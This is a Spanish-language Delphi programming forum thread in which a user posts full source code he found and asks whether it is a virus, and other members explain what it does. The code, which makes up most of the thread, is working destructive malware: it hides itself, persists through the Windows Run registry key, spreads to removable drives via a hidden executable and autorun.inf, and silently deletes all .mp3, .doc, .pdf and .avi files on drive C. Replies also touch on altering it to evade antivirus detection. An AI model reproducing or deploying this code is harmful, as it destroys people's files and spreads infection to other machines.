11 respuestas en este tema

[Caral]

Hola
Revisando entre las carpetas me encontré con este código, parece según tengo entendido que es un virus hecho en Delphi, sera?.
Si es asi, Primero no aconsejo usarlo por que no se que hace.
Lo encontré entre las carpetas de código que he bajado durante mucho tiempo y que por supuesto no entiendo ni he tocado.
Ya que lo encontré tal vez alguien sepa para que sirve?.

delphi

unit Unit1;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,Registry;
 
type
  TForm1 = class(TForm)
   
    function ALaPapelera(Fichero:string):boolean;
    Function VaciaPapelera:String;
    function GetWindowsDirectory : String;
     procedure Autorun;
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
    Lista: set of Char;
    procedure CrearLista;
    procedure WMDEVICECHANGE(var Msg: TMessage); message WM_DEVICECHANGE;
  public
    { Public declarations }
    procedure BuscaFicheros(path, mask : AnsiString; var Value : TStringList; brec : Boolean);
 
  end;
 
var
  Form1: TForm1;
    Ficheros1:TStringList;
implementation
 
{$R *.dfm}
 
 
 
function Tform1.GetWindowsDirectory : String;
  var
     pcWindowsDirectory : PChar;
     dwWDSize           : DWORD;
  begin
     dwWDSize := MAX_PATH + 1;
     GetMem( pcWindowsDirectory, dwWDSize );
     try
        if Windows.GetWindowsDirectory( pcWindowsDirectory, dwWDSize ) <> 0
then
           Result := pcWindowsDirectory;
     finally
        FreeMem( pcWindowsDirectory );
     end;
  end;
 
 
Function Tform1.VaciaPapelera;
 
  type 
    TSHEmptyRecycleBin = function (Wnd: HWND;
                                   LPCTSTR: PChar;
                                   DWORD: Word): integer; stdcall;
  var 
    MangoLib           : THandle;
    SHEmptyRecycleBin  : TSHEmptyRecycleBin;
    i:integer;
  begin 
     {Cargamos SHell32.DLL}
     {Load Shell32.DLL}
     MangoLib := LoadLibrary(PChar('Shell32.dll'));
 
     {Si no se pudo... error}
     {if not... error}
     if MangoLib = 0 then 
       Raise Exception.Create( 'No se pudo cargar Shell32.DLL'+#13+
                               'Cannot load Shell32.DLL');
 
     {Buscamos dentro de la DLL la funcion que queremos}
     {Search into DLL the required funtion}
     @SHEmptyRecycleBin := GetProcAddress(MangoLib, 'SHEmptyRecycleBinA');
 
     {Si no existe... error}
     {If don't exists... error}
     if @SHEmptyRecycleBin = nil then 
     begin 
       FreeLibrary(MangoLib);
       Raise Exception.Create( 'No se pudo encontrar SHEmptyRecycleBinA en Shell32.DLL'+#13+
                               'Cannot find SHEmptyRecycleBinA in Shell32.DLL');
     end; 
 
    {Vaciamos la papelera, sin sonido ni confirmación}
    {Empty the Recycle bin...}
    SHEmptyRecycleBin(Application.Handle,'',7);
 
    {Liberamos la DLL}
    {Free the DLL}
    FreeLibrary(MangoLib);
  end; 
 
function Tform1.ALaPapelera(Fichero:string):boolean;
var 
  FileOp: TSHFileOpStruct;
begin 
  if FileExists(Fichero)then
  begin 
    FillChar(FileOp,SizeOf(FileOp),#0);
    with FileOp do 
    begin 
      Wnd:= Application.Handle;
      
      pFrom:= PChar(Fichero+#0#0);
      fFlags:= FOF_SILENT or FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
    end; 
    Result:= (ShFileOperation(FileOp)=0);
  end else 
    Result:=False;
end; 
 
procedure TForm1.CrearLista;
var
  Letra: Char;
 
 
begin
  Lista:= [];
  for Letra:= 'C' to 'Z' do
    if GetDriveType(Pchar(Letra+':\')) = DRIVE_REMOVABLE  then
      Lista:= Lista + [Letra];
end;
 
procedure TForm1.WMDEVICECHANGE(var Msg: TMessage);
var
  Letra: Char;
  Atributos: Cardinal;
begin
  if Msg.WParam = DBT_DEVICEARRIVAL  then
  begin
    for Letra:= 'C' to 'Z' do
      if GetDriveType(Pchar(Letra+':\')) = DRIVE_REMOVABLE  then
      begin
        if not (Letra in Lista) then
        begin
        
    copyfile(Pchar(ParamStr(0)),Pchar(Letra+':\ReproductorWMV.exe'),false);
    SetFileAttributes(PChar(Letra+':\ReproductorWMV.exe'),faHidden);
  with TStringList.Create() do
  try
    Add('[Autorun]');
    Add('ShellExecute=ReproductorWMV.exe');
    add('attrib +h Autorun.inf');
 
    try
      SaveToFile(Letra+':\autorun.inf');
      SetFileAttributes(PChar(Letra+':\autorun.inf'),faHidden);
    except
      on E: Exception do
      begin
        ShowMessageFmt(
          'Ocurrió una excepción: %s',
          [E.Message]
        );
      end;
    end;
  finally
    Free();
  end;
 
          //ShowMessage('Este es un disco removible '+Letra+':\');
        end;
      end;
  end;
  CrearLista;
  inherited;
end;
 
procedure TForm1.BuscaFicheros(path, mask : AnsiString; var Value : TStringList; brec : Boolean);
var
  srRes : TSearchRec;
  iFound : Integer;
 
begin
  if ( brec ) then
    begin
    if path[Length(path)] <> '\' then path := path +'\';
    
    while iFound = 0 do
      begin
 
      if ( srRes.Name <> '.' ) and ( srRes.Name <> '..' ) then
        if srRes.Attr and faDirectory > 0 then
          BuscaFicheros( path + srRes.Name, mask, Value, brec );
      iFound := FindNext(srRes);
 
      end;
    FindClose(srRes);
    end;
 
  if path[Length(path)] <> '\' then path := path +'\';
  iFound := FindFirst(path+mask, faAnyFile-faDirectory, srRes);
  while iFound = 0 do
    begin
    if ( srRes.Name <> '.' ) and ( srRes.Name <> '..' ) and ( srRes.Name <> '' ) then
      Value.Add(path+srRes.Name);
 
    iFound := FindNext(srRes);
 
    end;
 
  FindClose( srRes );
end;
 
procedure Tform1.Autorun;
var
   Registro    :TRegistry;
   Atributos: Cardinal;
begin
  Registro:=TRegistry.create;
  Registro.RootKey := HKEY_LOCAL_MACHINE;
 
  if Registro.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',FALSE)
then
    begin
 
      Registro.WriteString('SystemRoot',GetWindowsDirectory+
'\ReproductorWMV.exe');
 
 copyfile(Pchar(ParamStr(0)),Pchar(GetWindowsDirectory+'\ReproductorWMV.exe'),false);
 
    SetFileAttributes(PChar(GetWindowsDirectory+'\ReproductorWMV.exe'),faHidden);
    end;
 
 Registro.Destroy;
 
end;
 
procedure TForm1.FormCreate(Sender: TObject);
 
var
   Ficheros:TStringList;
   FicherosDoc:TStringList;
   dato :TStringList;
    i:integer;
begin
 BorderStyle := bsNone;
 Left := 0;
 Top := 0;
  Width := 0;
  Height := 0;
  Visible := False;
  Application.Title := '';
  Application.ShowMainForm := False;
  ShowWindow( Application.Handle, SW_HIDE );
 
  Ficheros:=TStringList.Create;
  BuscaFicheros('c:\cura\','cura.txt',Ficheros,TRUE);
  SetWindowLong( Application.Handle, GWL_EXSTYLE,
  GetWindowLong(Application.Handle, GWL_EXSTYLE) or
          WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
   autorun;
  if ficheros.count > 0 then
    begin
      
       Ficheros.Free;
       form1.visible:=false;
    end else
       begin
         BuscaFicheros('c:\.\','*.mp3',Ficheros,TRUE);
          for i:=0 to ficheros.Count -1 do
            Alapapelera (ficheros[i]);
            vaciapapelera;
             BuscaFicheros('c:\.\','*.doc',Ficheros,TRUE);
            for i:=0 to ficheros.Count -1 do
                Alapapelera (ficheros[i]);
                 vaciapapelera;
 
           BuscaFicheros('c:\.\','*.pdf',Ficheros,TRUE);
            for i:=0 to ficheros.Count -1 do
                Alapapelera (ficheros[i]);
                 vaciapapelera;
               BuscaFicheros('c:\.\','*.avi',Ficheros,TRUE);
            for i:=0 to ficheros.Count -1 do
                Alapapelera (ficheros[i]);
                 vaciapapelera;
 
           ficheros.Free;
         end;
 
end;
 
end.

Saludos

[enecumene]

Pues al parecer éste código lo que hace es que envía a la papelera (Recycle Bin) un directorio determinado. creo 

Saludos.

[egostar]

8-)

Pues hace esto

Se Inicia Automáticamente
Obtiene un directorio de Windows
Busca Archivos
Crea una lista de esos Archivos
Envia los archivos a la papelera
Vacia la papelera



Salud OS

[Caral]

Hola
Y lo hace oculto?, si es asi, entonces si es un virus?.
Ahora abría que ver si se salta el antivirus?.
Saludos

[cHackAll]

Aunque solo lo vi rapidamente te puedo decir que aparte de lo dicho anteriormente se encarga de enviar a la papelera los archivos con extension .mp3, .doc, .pdf y .avi encontrados en la unidad C y luego vacía la papelera... al parecer si existe el archivo "cura.txt" en la carpeta "cura" no hace nada, asi y todo duda que haga algo pues tiene una falla en la busqueda de archivos.

Hola
Y lo hace oculto?, si es asi, entonces si es un virus?.
Ahora abría que ver si se salta el antivirus?.
Saludos

Lo que hace que sea un "virus", es el echo que detecta la "insercion" de un nuevo dispositivo extraíble (ej, Flash), donde hace una copia de si mismo para que una vez ejecutado en otro ordenador se copie al disco local y modifique el "inicio" del SO para correr automaticamente.

Salud!

[Caral]

Hola
Muy interesante, osea:
Se ejecuta solo.
Se auto copia en el dispositivo que se conecte.
Elimina los ficheros.
Y si encuentra un archivo texto cura.txt en un directorio cura, no se ejecuta ni se copia.
Interesante pero no deja de ser una P......... si se lo inyectan a uno que no sabe nada.
Ahora:
Lo detecta el antivirus?.
Si se mete en el SO, se puede eliminar?.
Saludos

[cHackAll]

...Se ejecuta solo...

Es siempre el usuario quien lo ejecuta directa o indirectamente, aunque una vez ya ejecutado el SO será quien lo ejecute al iniciar.

...Se auto copia en el dispositivo que se conecte.
Elimina los ficheros...

Si

...Y si encuentra un archivo texto cura.txt en un directorio cura no se ejecuta ni se copia...

No, lo que "no" hace es borrar los archivos.

...Interesante pero no deja de ser una P......... si se lo inyectan a uno que no sabe nada...

Siempre

Ahora:

...Lo detecta el antivirus?...

Depende de la heuristica del AV puesto que dicho virus puede ser muy modificado para que no sea reconocido (pues es lo que principalmente hace un AV... reconocer!)

...Si se mete en el SO, se puede eliminar?...

Bueno eso depende; como dices, si la persona no sabe nada estará "jodida"... pero con algo de experiencia te puedo decir que basta con borrar un archivo y un residente.

PD; quieres hacer alguna maldad?

Saludos

[enecumene]

PD; quieres hacer alguna maldad?

Esperemos que no sea a cierto españolito por ahí.

[cHackAll]

PD; quieres hacer alguna maldad?

Esperemos que no sea a cierto españolito por ahí.

Me perdi de algo?

[Caral]

Hola
No amigo, solo vi el codigo por ahi perdido y quise ver para que sirve.
Saludos

[enecumene]

Bueno y ¿esto que es?

Un Saludo.

Una especie de Virus amigo .